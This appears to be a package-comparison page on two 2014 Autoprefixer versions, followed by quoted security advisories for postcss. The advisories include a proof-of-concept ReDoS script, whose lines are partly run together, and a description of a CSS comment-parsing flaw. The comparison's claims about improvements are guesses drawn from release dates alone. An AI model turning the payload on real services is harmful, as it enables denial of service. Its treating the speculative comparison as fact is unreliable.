Autoprefixer is a valuable tool for web developers, automating the process of adding vendor prefixes to CSS rules, ensuring compatibility across different browsers. Analyzing versions 1.1.20140327 and 1.1.20140319 reveals subtle yet important distinctions. Both versions share the same core functionality, utilizing data from Can I Use to determine necessary prefixes, saving developers significant time and effort. They also share identical dependencies, relying on postcss for CSS parsing and fs-extra for file system operations. The development dependencies, including tools like nib, mocha, should, stylus, browserify, and coffee-script, remain consistent, indicating a stable development environment. The MIT license and repository details also stay unchanged.
The key difference lies in the release date. Version 1.1.20140327 was released on March 27, 2014, while version 1.1.20140319 came out on March 19, 2014. This suggests that the later version likely includes bug fixes, performance improvements, or updated prefix data based on the latest browser compatibility information available at that time.
For developers choosing between these versions, opting for the newer 1.1.20140327 is usually the best approach. Although the changes may be incremental, it likely incorporates the most current browser support data, resulting in more accurate and comprehensive prefixing. While both versions provide essential prefixing capabilities, the updated release date of the newer version hints at slightly enhanced browser compatibility support.
All the vulnerabilities related to the version 1.1.20140327 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.